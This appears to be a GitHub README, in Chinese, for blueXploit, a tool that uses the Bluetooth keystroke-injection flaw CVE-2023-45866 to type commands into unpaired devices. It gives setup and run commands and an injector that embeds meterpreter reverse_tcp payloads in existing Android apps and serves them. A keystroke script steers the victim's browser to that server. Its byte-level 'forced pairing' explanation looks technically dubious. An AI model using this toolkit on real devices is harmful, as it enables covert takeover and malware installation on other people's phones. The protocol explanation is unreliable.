Danyw24/blueXploit
GitHub: Danyw24/blueXploit
复现 CVE-2023-45866/CVE-2024-21306 蓝牙键盘注入漏洞的 PoC 工具,能够在无需配对的情况下向目标设备远程注入按键指令。
Stars: 14 | Forks: 2
# blueXploit

[blueXploit 视频](https://www.youtube.com/watch?v=Zez8hKRI_7M)
- **blueXploit** 是我个人的概念验证(proof-of-concept),用于复现 **CVE-2023-45866**,即由 **Marc Newlin** 发现的蓝牙键盘注入漏洞。它滥用蓝牙协议中的缺陷,**无需配对**即可向目标设备注入按键,从而为更复杂的攻击打开了大门。
# 漏洞工作原理
这些严重漏洞([CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/)、CVE-2024-21306)允许攻击者在无需用户确认的情况下注入按键并接受配对请求。这严重影响了多个操作系统的安全性。
## 受影响的系统
- **Android**:4.2 至 14(如果缺少 2023-12-05 补丁,则为 11–14)
- **Linux**:需要 BlueZ 补丁。
- **macOS**:12 至 14.2(已部分修复)。
- **iOS**:16(存在漏洞),已在 iOS 17.2 中修复。
- **Windows**:已在 2024 年 1 月的“补丁星期二”中修复。
## 影响
- 该漏洞允许通过注入按键远程控制设备,即使在未接受蓝牙配对的情况下,也能强制建立连接并执行按键命令。
## 攻击示例
- **远程命令执行**:通过注入按键控制存在漏洞的设备,
攻击向量多种多样 —— 从获取 **shell** 到 **安装恶意应用程序**。
- **拒绝服务攻击**:通过大量的配对请求淹没设备。
## 缓解措施
- 使用最新的系统补丁更新设备。
- 不使用时关闭蓝牙(这可以阻止针对此漏洞的任何 exploit 运行)。
- 避免与未知设备配对。
# blueXploit - 使用与演示
- 基于 Marc Newlin 的[原始 exploit](https://github.com/marcnewlin/hi_my_name_is_keyboard)。
- 安装依赖项
```
# 更新 apt
sudo apt-get update
sudo apt-get -y upgrade
# 从 apt 安装 dependencies
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# 从源码安装 pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# 从 bluez 源码构建 bdaddr
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
## 使用 APKPwn + blueXploit
**blueXploit** 包含用于利用 Android 设备漏洞的工具,提供两个主要组件以及一个名为 **apkpwn_injector** 的附加程序,位于 **injector** 文件夹中。
### APKPwn 功能
- 使用 **msfvenom** 自动创建 **android/meterpreter/reverse_tcp** payload。
- 将这些 payload 注入到 **apk_clean** 文件夹中现有的 `.apk` 应用程序中。
- 设置本地服务器以提供生成的恶意应用程序。
这些功能能够在受控环境或渗透测试中实现高效、简化的攻击流程。

```
cd injector
python3 apkpwn_injector.py
```
## 创建或编辑 duckypayload
blueXploit 执行的按键命令从 **/injector/payloads/** 文件夹中以 **.txt** 格式加载,语法简单易懂。
### duckypayload 示例
```
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
```
将 IP 地址更改为托管服务器的地址。
设备检测与枚举
```
bluetoothctl
```
扫描蓝牙设备
```
scan on
```
运行
```
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```
然后选择所需的、预先配置好的 payload。
## 演示
完整演示在这个[视频](https://www.youtube.com/watch?v=Zez8hKRI_7M)中
## 使用的硬件
- Raspberry Pi 4
- Kali Linux ARM64
# CVE-2023-45866 详解
该漏洞在蓝牙协议的低层被利用,主要是通过操纵 HID profile 和 L2CAP 协议向受害者设备注入按键。
## 1. 低层蓝牙协议
蓝牙协议栈包含多个层,例如链路管理器协议(LMP)、主机控制器接口(HCI)和 L2CAP。此攻击主要使用后两者:
- **HCI**:操纵适配器配置,使其呈现为合法的 HID 设备。
- **L2CAP**:负责设备之间的数据多路复用,L2CAP 使用通道 17(HID 控制)和通道 19(HID 中断)进行 HID 通信,这可被利用来发送按键序列。
## 利用 CVE-2023-45866
CVE-2023-45866 是链路管理器协议(LMP)中的一个漏洞,通过“强制配对”攻击来利用。以下是具体的技术实施过程:
- **LMP 管理配对请求和链路配置。**
- 发送格式错误或未经身份验证的 LMP 数据包以强制配对,如下所示:
```
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
在这个数据帧中:
- `0x01`:LMP 配对请求
- `0x01`:LMP 身份验证请求(PIN)
- `0x00 0x00 0x00 0x00`:弱 PIN 信息,通常为 0000
在这里,exploit 利用了此数据包缺少配置和身份验证的缺陷,最终返回:
```
LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
在这个数据帧中:
- `0x02`:LMP 配对请求**已接受**
- `0x00 0x00 0x00 0x00`:返回了格式错误的 PIN 信息
如果密钥未正确验证,连接就会建立,但没有真正的配对,因此可以像这样发送强制配对的 LMP 数据包:
```
LMP Forced Pairing: 0x03 0x01 0x0000
```
然后可以使用之前泄露的密钥(如 "0000")强制进行身份验证,并建立加密通信通道,在无需经过适当验证过程的情况下将设备配对。
**这会在用户不知情的情况下创建配对,甚至没有任何配对窗口或通知。**
此 CVE 的缺陷在于某些设备未正确验证 LMP 身份验证请求,或最终重用了旧密钥。
因此,一旦与设备配对 —— 砰!—— 剩下的就很容易了:在 **blueXploit.py** 中,适配器和设备伪装并欺骗了身份数据。在这种情况下,会运行如下命令:
```
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
```
blueXploit 代码
```
# 配置 name 和 class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
```
## HID 数据注入
```
[?] Attempting to send letter: a
[.] Attempting to send... (,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
```
HID 字节数据帧说明:
:`a10100001e000000000000`
- `a1`:指定 HID 报告类型
- `01`:指定用于入站数据的 HID 接口
- `00`:按下或释放按键
- `00 1e 00 00 00 00`:十六进制值,其中 `1e` 对应字母 `a`
随后会收到一个 **ACK**,以确认传输已成功接收。
- blueXploit 集成了重连和数据重发机制,以保持通信稳定且无损,因此如果发生断开连接,程序会重新连接并从之前的位置/字符继续发送 HID 数据。
标签:概念验证, 蓝牙, 逆向工具, 键盘注入